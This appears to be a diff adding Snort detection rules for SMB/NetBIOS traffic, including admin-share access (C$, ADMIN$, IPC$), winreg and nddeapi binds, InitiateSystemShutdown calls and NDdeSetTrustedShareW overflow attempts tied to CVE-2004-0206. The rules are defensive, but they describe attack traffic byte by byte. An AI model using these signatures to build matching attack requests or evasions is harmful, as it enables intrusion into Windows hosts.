+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NDdeSetTrustedShareW unicode little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0C 00|"; within:2; distance:19; isdataat:512,relative; content:!"|00 00|"; within:512; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2971; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg unicode andx bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; classtype:protocol-command-decode; sid:2989; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB InitiateSystemShutdown unicode attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 18|"; within:2; distance:19; classtype:protocol-command-decode; sid:2944; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB D$ andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"D|24 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2972; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NDdeSetTrustedShareW overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0C|"; within:2; distance:19; isdataat:256,relative; content:!"|00|"; within:256; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2936; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IPC$ unicode andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"I|00|P|00|C|00 24 00 00 00|"; distance:2; nocase; flowbits:set,smb.tree.connect.ipc; classtype:protocol-command-decode; sid:2953; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg andx create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"|A2|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|5C|winreg|00|"; within:8; distance:51; nocase; flowbits:set,smb.tree.create.winreg; classtype:protocol-command-decode; sid:2984; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS C$ unicode andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"C|00 24 00 00 00|"; distance:2; nocase; content:!"I|00|P|00|C|00 24 00 00 00|"; within:10; distance:-10; nocase; classtype:protocol-command-decode; sid:2979; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB nddeapi unicode andx bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:" 2_/&|C1|v|10 B5|I|07|M|07 86 19 DA|"; within:16; distance:29; flowbits:set,smb.tree.bind.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2961; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB nddeapi andx bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:" 2_/&|C1|v|10 B5|I|07|M|07 86 19 DA|"; within:16; distance:29; flowbits:set,smb.tree.bind.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2960; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NDdeSetTrustedShareW little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0C 00|"; within:2; distance:19; isdataat:256,relative; content:!"|00|"; within:256; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2948; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NDdeSetTrustedShareW unicode little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0C 00|"; within:2; distance:19; isdataat:512,relative; content:!"|00 00|"; within:512; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2949; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS nddeapi create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"|5C|nddeapi|00|"; within:9; distance:51; nocase; flowbits:set,smb.tree.create.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2930; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS nddeapi unicode create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB|A2|"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"|5C 00|n|00|d|00|d|00|e|00|a|00|p|00|i|00 00 00|"; within:18; distance:51; nocase; flowbits:set,smb.tree.create.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2931; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NDdeSetTrustedShareW unicode andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0C|"; within:2; distance:19; isdataat:512,relative; content:!"|00 00|"; within:512; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2970; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NDdeSetTrustedShareW little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0C 00|"; within:2; distance:19; isdataat:256,relative; content:!"|00|"; within:256; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2965; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS too many stacked requests"; flow:to_server,established; content:"|FF|SMB"; pcre:"/^\x00.{3}\xFFSMB(\x73|\x74|\x75|\xa2|\x24|\x2d|\x2e|\x2f).{28}(\x73|\x74|\x75|\xa2|\x24|\x2d|\x2e|\x2f)/"; byte_jump:2,39,little; content:!"|FF|"; within:1; distance:-36; classtype:protocol-command-decode; sid:2951; rev:2;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS InitiateSystemShutdown little endian andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|18 00|"; within:2; distance:19; classtype:protocol-command-decode; sid:2997; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg unicode andx create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A2|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|5C 00|w|00|i|00|n|00|r|00|e|00|g|00 00 00|"; within:16; distance:51; nocase; flowbits:set,smb.tree.create.winreg; classtype:protocol-command-decode; sid:2985; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NDdeSetTrustedShareW unicode little endian overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0C 00|"; within:2; distance:19; isdataat:512,relative; content:!"|00 00|"; within:512; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2947; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IPC$ andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"IPC|24 00|"; distance:2; nocase; flowbits:set,smb.tree.connect.ipc; classtype:protocol-command-decode; sid:2954; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB InitiateSystemShutdown little endian attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|18 00|"; within:2; distance:19; classtype:protocol-command-decode; sid:2943; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS InitiateSystemShutdown unicode andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 18|"; within:2; distance:19; classtype:protocol-command-decode; sid:2998; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS nddeapi unicode bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:" 2_/&|C1|v|10 B5|I|07|M|07 86 19 DA|"; within:16; distance:29; flowbits:set,smb.tree.bind.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2935; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS nddeapi andx bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:" 2_/&|C1|v|10 B5|I|07|M|07 86 19 DA|"; within:16; distance:29; flowbits:set,smb.tree.bind.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2962; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB C$ unicode andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"C|00 24 00 00 00|"; distance:2; nocase; content:!"I|00|P|00|C|00 24 00 00 00|"; within:10; distance:-10; nocase; classtype:protocol-command-decode; sid:2977; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS IPC$ unicode andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"I|00|P|00|C|00 24 00 00 00|"; distance:2; nocase; flowbits:set,smb.tree.connect.ipc; classtype:protocol-command-decode; sid:2955; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB ADMIN$ unicode andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"A|00|D|00|M|00|I|00|N|00 24 00 00 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2981; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB InitiateSystemShutdown little endian andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|18 00|"; within:2; distance:19; classtype:protocol-command-decode; sid:2993; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB InitiateSystemShutdown attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 18|"; within:2; distance:19; classtype:protocol-command-decode; sid:2942; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS NDdeSetTrustedShareW little endian andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|0C 00|"; within:2; distance:19; isdataat:256,relative; content:!"|00|"; within:256; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2969; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB D$ unicode andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"D|00 24 00 00 00|"; distance:2; nocase; classtype:protocol-command-decode; sid:2973; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS InitiateSystemShutdown unicode little endian andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,!&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|18 00|"; within:2; distance:19; classtype:protocol-command-decode; sid:2999; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB IPC$ andx share access"; flow:established,to_server; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"u"; depth:1; offset:39; byte_jump:2,0,little,relative; byte_jump:2,7,little,relative; content:"IPC|24 00|"; distance:2; nocase; flowbits:set,smb.tree.connect.ipc; classtype:protocol-command-decode; sid:2952; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB NDdeSetTrustedShareW unicode andx overflow attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 0C|"; within:2; distance:19; isdataat:512,relative; content:!"|00 00|"; within:512; distance:12; reference:bugtraq,11372; reference:cve,2004-0206; classtype:attempted-admin; sid:2966; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 139 (msg:"NETBIOS SMB winreg bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.winreg; content:"|00|"; depth:1; content:"|FF|SMB%"; within:5; distance:3; byte_test:1,!&,128,6,relative; pcre:"/^.{27}/R"; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; classtype:protocol-command-decode; sid:2940; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS InitiateSystemShutdown andx attempt"; flow:established,to_server; flowbits:isset,smb.tree.bind.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; byte_test:1,&,16,3,relative; content:"|00|"; within:1; distance:1; content:"|00 18|"; within:2; distance:19; classtype:protocol-command-decode; sid:2996; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS nddeapi unicode andx bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.nddeapi; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C 00|P|00|I|00|P|00|E|00 5C 00 00 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:" 2_/&|C1|v|10 B5|I|07|M|07 86 19 DA|"; within:16; distance:29; flowbits:set,smb.tree.bind.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2963; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS nddeapi unicode andx create tree attempt"; flow:established,to_server; flowbits:isset,smb.tree.connect.ipc; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\x2e|\x24|\x74)/sR"; byte_test:1,&,128,6,relative; content:"|A2|"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"|5C 00|n|00|d|00|d|00|e|00|a|00|p|00|i|00 00 00|"; within:18; distance:51; nocase; flowbits:set,smb.tree.create.nddeapi; reference:bugtraq,11372; reference:cve,2004-0206; classtype:protocol-command-decode; sid:2959; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 445 (msg:"NETBIOS SMB-DS winreg andx bind attempt"; flow:established,to_server; flowbits:isset,smb.tree.create.winreg; content:"|00|"; depth:1; content:"|FF|SMB"; within:4; distance:3; pcre:"/^(\x75|\x2d|\x2f|\x73|\xa2|\x2e|\x24|\x74)/sR"; byte_test:1,!&,128,6,relative; content:"%"; depth:1; offset:39; byte_jump:2,0,little,relative; content:"&|00|"; within:2; distance:29; content:"|5C|PIPE|5C 00|"; distance:4; nocase; byte_jump:2,-10,relative,from_beginning; pcre:"/^.{4}/R"; content:"|05|"; within:1; content:"|0B|"; within:1; distance:1; content:"|01 D0 8C|3D|22 F1|1|AA AA 90 00|8|00 10 03|"; within:16; distance:29; flowbits:set,smb.tree.bind.winreg; classtype:protocol-command-decode; sid:2990; rev:4;)
